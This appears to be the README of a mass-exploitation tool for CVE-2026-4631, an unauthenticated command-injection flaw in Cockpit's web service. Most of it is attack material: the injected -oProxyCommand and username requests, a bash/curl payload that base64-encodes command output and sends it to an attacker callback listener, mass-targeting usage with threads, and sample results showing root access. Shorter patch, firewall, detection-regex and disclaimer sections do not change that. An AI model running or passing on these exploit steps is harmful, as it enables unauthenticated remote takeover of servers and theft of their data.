
Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78
Неаутентифицированное удалённое выполнение кода через инъекцию аргументов командной строки SSH Версии Cockpit 327 – 359 | CVSS 9.8 критический | CWE-78
Инструмент массовой эксплуатации CVE-2026-4631 в веб-сервисе Cockpit (cockpit-ws, порт 9090). Поддерживает режим сканирования уязвимостей, режим RCE с перехватом вывода команды через встроенный HTTP callback-листенер, режим --auto (сканирование + эксплойт за один проход с командой по умолчанию id), автодобавление порта :9090 для целей без порта, оба вектора атаки (ProxyCommand + инъекция %r в имени пользователя), массовые цели из файла, конкурентные потоки (threading) и структурированный вывод результатов.
Автор: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Отредактируйте targets.txt — один хост в строке. Порт :9090 добавляется автоматически, если его нет:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе. Инструмент использует встроенный HTTP-листенер (порт по умолчанию 8888) для перехвата вывода. Убедитесь:
--callback-ip — это IP-адрес, доступный с целевой системы (не 127.0.0.1)8888 (или на ваш --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Отредактируйте /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Перезапустите службу:
sudo systemctl restart cockpit
Ограничьте порт 9090 только управляющей сетью:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Митигирует вектор 1 (инъекцию ProxyCommand) за счёт ранней проверки имени хоста:
ssh -V # harus OpenSSH_9.6 atau lebih baru
Если обновление до 360 невозможно, примените исправляющие коммиты:
-- в beiboot.py и cockpitauth.c-- в session.pyПодробности патча: см. docs/PATCH_ANALYSIS.md
Cockpit v327 заменил cockpit-ssh (libssh) на python3 -m cockpit.beiboot, который вызывает системный OpenSSH-клиент ssh. Пользовательский ввод — имя хоста из пути URL и имя пользователя из заголовка Authorization: Basic — передаётся в ssh без санитизации и без разделителя конца опций --. Инъекция происходит до проверки учётных данных, поэтому действительный логин не требуется.
Имя хоста из пути URL инъекцируется с помощью SSH-опции -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH интерпретирует -oProxyCommand=<cmd> как опцию и выполняет <cmd> в качестве ProxyCommand. Команда выполняется от пользователя процесса cockpit-ws.
Предусловие: OpenSSH < 9.6 на целевой системе. В OpenSSH 9.6+ реализована ранняя проверка имени хоста, которая блокирует метасимволы.
%r в имени пользователя (дополнительный)Имя пользователя из заголовка Authorization: Basic инъекцируется shell-командой.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH подставляет имя пользователя в токен %r в директиве Match exec → shell выполняет внедрённую команду.
Предусловие: в ssh_config целевой системы есть директива Match exec с токеном %r.
LoginTo) не отключенаssh_config с Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — HTTP-клиент для эксплойт-запросовcolorama>=0.4 — цветной вывод в терминалеДля листенера дополнительных зависимостей не требуется (используются stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)Проба конечной точки /cockpit+=probe-host/login без эксплойта. Обнаружение:
Не отправляет вредоносных payload, не требует callback-листенера.
-c "cmd")Выполнение команды на цели, перехват вывода через callback:
curl для эксфильтрации на листенер-c не указан, команда по умолчанию — id--auto) — рекомендуетсяСканирование + эксплойт за один проход, команда по умолчанию id:
id (или переопределение через -c)host [ uid=0(root) ... ]--vector auto)Сначала пробуется вектор 1 (ProxyCommand). Если ответ указывает на OpenSSH >= 9.6 (ошибка проверки имени хоста), происходит откат на вектор 2 (%r в имени пользователя).
К каждой записи в targets.txt без порта автоматически добавляется :9090:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
Вывод results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
Вывод scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
Вывод:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
Формат файла результатов: одна строка на цель:
<host> [ <status_or_output> ]
Заголовок файла результатов фиксирует временную метку, команду, вектор и количество целей.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine
-f file / -t url, нормализация (добавление http://, порт по умолчанию 9090), дедупликация--scan, проба конечной точки, фингерпринт Cockpit, вывод об уязвимостиrequestsThreadingHTTPServer на --callback-ip:--listener-port, разбор ?id=REQID&out=BASE64, сохранение в общий dicthost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # entry point CLI
├── requirements.txt # dependencies
├── README.md # dokumentasi ini
├── targets.txt # contoh target list
├── results.txt # output (generated)
├── core/
│ ├── __init__.py
│ ├── target.py # parser target
│ ├── scanner.py # mode scan vuln
│ ├── exploit.py # payload generator + sender
│ ├── listener.py # HTTP callback server
│ └── engine.py # orchestrator
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII banner
│ └── result.py # result writer
└── docs/
├── VULN_ANALYSIS.md # analisis mendalam vulnerability
├── PATCH_ANALYSIS.md # analisis patch commit
└── DETECTION.md # signature deteksi
CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе Cockpit. Инструмент решает эту проблему с помощью встроенного HTTP callback-листенера:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get с verify=False для самоподписанных сертификатовresults[REQID] до истечения --timeouthost [ decoded_output ] в выходной файлЕсли истёк таймаут без callback, проверяется SSH-ответ об ошибке:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) — параллельно для каждой целиdict[REQID] -> target_host и dict[REQID] -> output с threading.LockThreadingHTTPServer обрабатывает конкурентные callback-запросыtry/except: ошибка соединения, SSL-ошибка, таймаутGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Обратите внимание на:
-oProxyCommand= в пути URL;) в декодированном значении Authorization: Basicjournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
Этот инструмент создан для авторизованного пентеста, исследований безопасности и валидации уязвимостей на системах, которые принадлежат вам или на тестирование которых у вас есть письменное разрешение.
Использование этого инструмента на системах без явного разрешения владельца незаконно и может повлечь уголовную ответственность в соответствии с действующим законодательством (в Индонезии: UU ITE, статьи 30–33).
Автор не несёт ответственности за неправомерное использование этого инструмента. Используйте его этично и ответственно.
Разрешённые сценарии использования:
Для исследовательских целей и авторизованного тестирования. Не для коммерческого распространения без разрешения.
| Поле | Описание |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Серьёзность | Критический (CVSS 9.8) |
| CWE | CWE-78 — внедрение команд ОС |
| Затронуты | Cockpit 327 – 359 |
| Исправлено в | Cockpit 360+ |
| Требуется аутентификация | НЕТ (без аутентификации) |
| Сообщил | Jelle van der Waa |
| Сервис | cockpit-ws, порт по умолчанию 9090 |
| Статус | Значение |
|---|
uid=0(root) ... | RCE успешен, вывод команды перехвачен |
VULN - no callback received (OpenSSH >= 9.6?) | Цель уязвима, но вектор 1 блокируется OpenSSH 9.6+, попробуйте вектор 2 |
VULN - endpoint active | Режим сканирования, обнаружена уязвимая конечная точка |
NOT VULN | Cockpit >= 360 или конечная точка отсутствует |
UNREACHABLE | Сбой соединения / таймаут соединения |
ERROR: <msg> | Исключение при выполнении |
| Ресурс | URL |
|---|
| Консультация GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Раскрытие OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Запись NVD | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Исправляющий коммит (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Исправляющий коммит (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Ошибка CPython argparse | https://github.com/python/cpython/issues/66623 |
| Проверка имени хоста в OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| Справочный PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |